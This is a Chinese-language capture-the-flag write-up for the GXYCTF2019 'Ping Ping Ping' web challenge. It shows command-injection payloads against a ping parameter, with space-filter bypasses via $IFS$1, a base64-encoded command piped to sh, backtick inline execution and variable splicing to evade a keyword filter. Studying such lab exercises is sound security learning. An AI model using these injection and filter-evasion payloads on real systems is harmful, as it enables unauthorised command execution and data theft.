[GXYCTF2019]Ping Ping Ping(RCE)

这题考的比较全面:
[GXYCTF2019]Ping Ping Ping(RCE)_第1张图片
随便ping一下:
在这里插入图片描述
正常request了,那跟我之前做的有一题应该差不多,直接payload:

?ip=127.0.0.1;cat%20/flag

在这里插入图片描述
应该是过滤了一些符号,那先试试payload:

?ip=127.0.0.1;ls

在这里插入图片描述
还好ls了一下,不然这不得cat半天?
试一下cat index:
在这里插入图片描述
过滤空格了,可以用${IFS}$代替:
在这里插入图片描述
可能也过滤了{},用$IFS$1代替:
payload:

?ip=127.0.0.1;cat$IFS$1index.php

[GXYCTF2019]Ping Ping Ping(RCE)_第2张图片
一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤:
payload:

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

拿到flag:
[GXYCTF2019]Ping Ping Ping(RCE)_第3张图片
这行payload不懂可以看一下这位师傅的小结:
https://www.ghtwf01.cn/index.php/archives/273/

然后又看了别人的wp,他们说有大佬payload:

?ip=127.0.0.1;cat$IFS$1`ls`

也可以拿到flag,这行payload他们解释说:

方法名叫内联执行
方法:将反引号内命令的输出作为输入执行

然后在F12下就全部ls出来了(0110 0110 0110):
[GXYCTF2019]Ping Ping Ping(RCE)_第4张图片
还有一种说可以拼接,我没拼出来,我的payload:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php

在这里插入图片描述
师傅的payload:

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

[GXYCTF2019]Ping Ping Ping(RCE)_第5张图片
额,我裂开,然后我就查了一下:
[GXYCTF2019]Ping Ping Ping(RCE)_第6张图片

有点模糊,动手都试一遍:

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php	有request,但没flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php  	过滤
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php	有flag

太疑惑了叭,为什么!我问到了再回来加,你们有人知道也可以留言,感激不尽!

(两天后,论坛有人回复了)

if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
匹配一个字符串中,是否按顺序出现过flag四个字母

这就解释了为什么我当初试a=fl;b=ag;会被过滤掉的原因。

你可能感兴趣的:(buuctf_web)